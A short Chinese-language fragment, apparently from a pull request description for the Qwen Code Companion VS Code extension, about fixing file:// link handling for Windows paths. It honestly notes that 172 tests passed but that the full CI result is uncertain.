Windows 11、VS Code Qwen Code Companion 0.21.9，工作区通过 GitHub Codespaces 打开。
风险与范围
file://链接，使现有的本地文件点击处理器能够处理 Windows 路径。test:ci已运行到@qwen-code/external-context（172 个测试通过），但日志没有最终汇总或退出码，因此全量结果尚不确定。关联 Issue
Fixes #8644